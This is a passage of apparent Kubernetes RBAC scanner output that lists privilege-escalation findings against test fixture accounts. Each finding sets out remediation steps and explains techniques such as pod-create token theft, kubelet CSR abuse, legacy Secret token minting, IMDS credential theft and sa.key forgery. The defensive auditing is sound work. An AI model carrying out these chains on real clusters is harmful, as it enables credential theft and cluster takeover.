  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 6.5
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → token_mint
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 6.5
ServiceAccount/privesc-fixtures/sa-ephemeral can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → token_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
2. ServiceAccount/foothold-exec/foothold-decoy-sa → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/foothold-exec/foothold-decoy-sa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.
  3. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 6.5
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → token_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 6.5
ServiceAccount/privesc-fixtures/sa-pod-exec can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → token_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
2. ServiceAccount/foothold-exec/foothold-decoy-sa → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-decoy-sa and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 6.5
ServiceAccount/rbac-fixtures/sa-pod-create can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cert-manager/cert-manager ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Survives cutting the crb-pod-create binding (2 hops)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager). Evaluated cut: removing this subject from the crb-pod-create binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cert-manager/cert-manager).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 6.5
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/cert-manager/cert-manager. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 6.5
ServiceAccount/vulnerable/privileged-reader can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → token_mint
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/vulnerable/privileged-reader chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cert-manager/cert-manager ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
